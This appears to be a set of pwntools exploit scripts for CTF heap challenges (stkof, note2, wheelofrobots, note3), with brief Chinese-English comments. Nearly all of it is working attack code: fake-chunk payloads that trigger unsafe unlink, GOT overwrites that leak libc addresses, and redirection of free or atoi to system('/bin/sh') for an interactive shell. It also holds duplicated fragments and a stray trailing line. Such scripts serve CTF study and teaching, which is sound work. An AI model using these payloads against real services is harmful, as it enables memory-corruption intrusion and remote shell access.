unlink

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
    
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

def exp():
    # trigger to malloc buffer for io function
    alloc(0x100)  # idx 1
    # begin
    alloc(0x30)  # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)  # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30) #It won`t work while the libc is 2.29
	#there is a speacil check
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')

    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()

if __name__ == "__main__":
    exp()

payload = p64(0)  #prev_size
payload += p64(0x20)  #size
payload += p64(head + 16 - 0x18)  #fd
payload += p64(head + 16 - 0x10)  #bk
payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

payload += p64(0x30)#it won`t work in libc2.29
payload += p64(0x90)

from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./note2')
elf =ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',29706)

def debug():
	# raw_input()
	gdb.attach(io)

name =  "aaaa"
address = "/bin/sh" 

io.sendlineafter("name:",name)
io.sendlineafter("address:",address)

def new(size,contents):
	io.sendlineafter(">>","1")
	io.sendlineafter("128)",str(size))
	io.sendlineafter("content:",contents)


def show(index):
	io.sendlineafter(">>","2")
	io.sendlineafter("note:",str(index))

def edit(index,c,contents):
	io.sendlineafter(">>","3")
	io.sendlineafter("note:",str(index))
	io.sendlineafter("[1.overwrite/2.append]",str(c))
	io.sendlineafter("TheNewContents:",contents)

def dele(index):
	io.sendlineafter(">>","4")
	io.sendlineafter("note:",str(index))
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
content0 = p64(0)+p64(0xa1)+p64(fake_fd)+p64(fake_bk)
new(0x80,content0) #0
new(0,"aaaaa") #1
new(0x80,"aaaaaaaaa") #2
# new(0x30,"aaaaaaaaa")
dele(1)
content1 = p64(0)*2+p64(0xa0)+p64(0x90)
new(0,content1)
dele(2)
payload = 0x18*'a' + p64(elf.got['atoi'])
edit(0,1,payload)
show(0)
io.recvuntil("Content is ")
atoi_addr =  u64(io.recv(6).ljust(8,'\x00'))

print "atoi address=====>"+ hex(atoi_addr)
libcbase =  atoi_addr - libc.sym['atoi']
print("libc address: " + hex(libcbase))

# one = [0x45226,0x4527a,0xf0364,0xf1207]  #local libc
# one = [0x45216,0x4526a,0xf02a4,0xf1147]

# one = libcbase + one[1]
system = libcbase + libc.sym['system']
edit(0,1,p64(system))
# dele(0)
io.sendline(address)
io.interactive()


# debug()

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./wheelofrobots')
libc =  ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./wheelofrobots')
# libc =  ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
    # raw_input()
    gdb.attach(io)

def add(index,size=0):
    io.recvuntil("Wheel Of Robots")
    sleep(0.5)
    io.send("1")
    if(index==8888 or index==9999):
        if(index==9999):
            io.sendafter("Your choice :","9999\x01")
        else:
            io.sendafter("Your choice :","8888\x00")
    else:
        io.sendafter("Your choice :",str(index))
        if(index == 2 or index == 3 or index == 6):
            io.recv()
            io.send(str(size))
        else:
            pass

def dele(index):
    io.recvuntil('Your choice :')
    io.sendline('2')
    io.recvuntil('Your choice :')
    io.sendline(str(index))

def edit(index,context):
    io.recvuntil("Wheel Of Robots")
    sleep(0.5)
    io.send("3")
    io.recvuntil("choice :")

    io.send(str(index))
    io.recvline()
    io.send(context)

def show():
    io.recvuntil("Wheel Of Robots")
    sleep(0.5)
    io.send("4")

print "the first step=======>"
#add a fastbin chunk 0x20 and free it 
#so it is in fastbin, idx2->NULL
add(2,1) #idx2
dele(2)


#overflow bender_inuse with 1
#then we can change fd(context) of the fastbin(bender)
add(9999)
# change bender`s fd to 0x603138, point to bender`s size
# new fastbin 0x20 ,idx->0x603138->NULL
edit(2,p64(0x603138))

#change the bender_inuse to 0x00
#in order to add bender again
add(8888)

#in order to malloc a chunk(0x20) at 0x603138
add(2,1)

#before we malloc the chunk1,there is a check for size of bin
#so we need to passby the fastbin size check, 
#we set the *0x603138=0x20 by malloc(20*0x20)
#it is at Robot Devil
add(3,0x20)
#trigger malloc,set tinny point to 0x603148
add(1)    #0x603138

#the num of wheels must <= 3
dele(2)
dele(3)

#then there is no chunk at heap area

print "the second step========>"
#we need two chunks
#and we need to overflow the chunk2 from chunk1

add(6,3)#6==>destructor
add(3,7)#3==>devil

#we chage the size(destructor) to 1000 by tinny
edit(1,p64(1000))

#place the fake chunk at destructor`s pointer
fake_chunk_addr= 0x6030e8
fake_chunk = p64(0)+p64(0x20)
fake_chunk+= p64(fake_chunk_addr-0x18)+p64(fake_chunk_addr-0x10)
fake_chunk+= p64(0x20)
fake_chunk = fake_chunk.ljust(0x40,"a")
fake_chunk+= p64(0x40)+p64(0xa0)

edit(6,fake_chunk)
#trigger unlink
dele(3)

# make 0x6030f8 point to 0x6030e8
payload = p64(0)*2+ 0x18*'a'+p64(0x6030e8)
edit(6,payload)

#the edit(1,) conbine edit(6,)
#could change anything at anywhere

#we we make exit just as return(ret)
#then it will do nothing here,just passby
edit(1,p64(elf.got['exit']))
edit(6,p64(0x401954))

#in order to set wheel cnt =3,0x603130 inorder to start robot
edit(1,p64(0x603130))
edit(6,p8(0x33)) #the 0x33 is the ascii type of '3'

#set destructor point to puts@got
edit(1,p64(elf.got['puts']))
show()

io.recvuntil('New hands great!! Thx ')

puts_addr = u64(io.recvuntil('!\n', drop=True).ljust(8, '\x00'))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system'] 
sh = libcbase + next(libc.search('/bin/sh'))
log.success("the address of puts is " + hex(puts_addr))
log.success("the address of libcbase is " + hex(libcbase))
log.success("the address of system is " + hex(system))
log.success("the address of sh is " + hex(sh))

#make free->system
edit(1,p64(elf.got['free']))
edit(6,p64(system))

edit(1,p64(0x6030e8))
edit(6,p64(sh))

#getshell
dele(6)

# debug()
io.interactive()

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./note3')
elf = ELF('./note3')
# libc =  ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc =  ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
    # raw_input()
    gdb.attach(io)


def add(size,content):
    io.sendlineafter("option--->>","1")
    io.sendlineafter("(less than 1024)",str(size))
    io.sendlineafter("content:",content)

def edit(index,content):
    io.sendlineafter("option--->>","3")
    io.sendlineafter("note:",str(index))
    io.sendlineafter("content:",content)

def delete(index):
    io.sendlineafter("option--->>","4")
    io.sendlineafter("note:",str(index))

add(0x100,"aaaa")
add(0x100,"bbbb")
add(0x100,"cccc")
add(0x100,"dddd")
add(0x100,"eeee")
add(0x100,"ffff")
add(0x100,"gggg")
add(0x100,"hhhh")
edit(3,"bbbb")
# delete(0)
# add(0x100,"aaaa")

fakechunk = 0x0000000006020e0

payload = p64(0x100)+p64(0x101)
payload+= p64(fakechunk - 0x18)+p64(fakechunk - 0x10)
payload = payload.ljust(0x100,'a')
payload+= p64(0x100)+p64(0x110)
#chunk1
edit(-9223372036854775808,payload)
delete(4)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
print "free_got=====>"+hex(free_got)
print "puts_got=====>"+hex(puts_got)
print "puts_plt=====>" +hex(puts_plt)
print "atoi_got=====>" +hex(atoi_got)
payload = p64(0)*3+p64(free_got) + p64(atoi_got)+ p64(atoi_got)[0:6]
#the last byte will be changed to \x00,so we used the [0:6] 
#and you can`t print the addr of 'puts' while we write addr in the got table #of it
edit(3,payload)
edit(3,p64(puts_plt)[0:6])

delete(4)

io.recvuntil('\n')
atoi_addr = u64(io.recv(6).ljust(8,'\x00'))
print "atoi_addr=====>" +hex(atoi_addr)
libcbase = atoi_addr - libc.sym['atoi']
system = libcbase + libc.sym['system']

edit(5,p64(system)[0:6])
io.sendline("/bin/sh;")
# debug()
io.interactive()

index = n % 7;